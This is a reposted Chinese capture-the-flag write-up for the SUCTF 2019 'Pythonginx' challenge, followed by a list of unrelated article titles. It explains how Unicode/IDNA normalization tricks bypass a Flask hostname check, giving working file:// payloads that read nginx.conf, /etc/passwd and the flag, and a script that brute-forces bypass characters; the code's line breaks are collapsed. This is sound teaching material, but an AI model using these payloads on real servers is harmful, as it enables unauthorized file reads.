当前位置: 首页 > news >正文

[SUCTF 2019]Pythonginx

给了源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():url = request.args.get("url")host = parse.urlparse(url).hostnameif host == 'suctf.cc':return "我扌 your problem? 111"parts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)#去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return urllib.request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"

在这里插入图片描述

方法一:

前面两次需要绕过 host == 'suctf.cc'
到第三次会有一个 h.encode('idna').decode('utf-8')
会将 host 转换为国际化域名(IDN)的ASCII兼容编码(Punycode)
看这篇文章https://xz.aliyun.com/t/6070?time__1311=n4%2BxnD0DgDcmG%3DrDsYoxCqiKKD5e%2BhgSR00bD

在unicode中有一种字符(U+2100),当IDNA处理此字符时,会将变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站

所以可以通过来绕过检测, 读取配置文件
?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

最后读取file://suctf.c℆sr/fffffflag获得flag

方法二:

https://www.xmsec.cc/suctf19-wp/
通过一些其他的unicode符号经过punycode 转为 c 的字符

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():for x in range(65536):uni=chr(x)url="http://suctf.c{}".format(uni)try:if getUrl(url):print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])except:passdef getUrl(url):url = urlhost = parse.urlparse(url).hostnameif host == 'suctf.cc':return Falseparts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return Falsenewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return Trueelse:return Falseif __name__=="__main__":get_unicode()

在这里插入图片描述
?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

方法三

利用了urlsplit不处理NFKC标准化
file:suctf.cc/etc/passwd

http://www.lryc.cn/news/433211.html

相关文章:

  • 省市县相关校验sql随笔
  • uniapp ios sticky定位,内部 u-tabs(包含scroll-view)消失问题
  • web群集--nginx配置文件location匹配符的优先级顺序详解及验证
  • Vivado编译报错黑盒子问题
  • 【建造者模式】
  • 自动化表格处理的革命:智能文档系统技术解析
  • 【Hot100】LeetCode—394. 字符串解码
  • 12. 如何在MyBatis中进行分页查询?常见的分页实现方式有哪些?
  • @[TOC](力扣题目-滑动窗口-qsort排序-二分法查找)
  • Docker容器相关命令
  • 【老课推荐】基于LangChain和知识图谱的大模型医疗问答机器人项目
  • Adobe Sensei——自动化视频编辑、特效应用和素材增强,通过AI技术快速优化视频内容,自动修复视频质量、自动添加背景音乐或字幕
  • 【AIGC数字人】EchoMimic:基于可编辑关键点条件的类人音频驱动肖像动画
  • 变量数据类型 Day3
  • SpringBoot2:请求处理原理分析-RESTFUL风格接口
  • [Linux][配置]Linux修改history存储的最大记录数
  • 代码随想录 刷题记录-28 图论 (5)最短路径
  • 大数据-124 - Flink State 01篇 状态原理和原理剖析:状态类型 执行分析
  • C++复习day04
  • [苍穹外卖]-04菜品管理接口开发
  • gitlab 启动/关闭/启用开机启动/禁用开机启动
  • 中间件解析漏洞(附环境搭建教程)
  • matlab实现kaiser窗+时域采样序列(不管原信号拉伸成什么样子)是一样的,变到频谱后再采样就是一样的频域序列。
  • git为不同的项目设置不同的提交作者
  • 防爆定位信标与防爆定位基站有什么区别?
  • QT 编译报错:C3861: ‘tr‘ identifier not found
  • 谈谈ES搜索引擎
  • 【MySQL】MySQL基础
  • Spring中Bean的相关注解
  • Golang | Leetcode Golang题解之第385题迷你语法分析器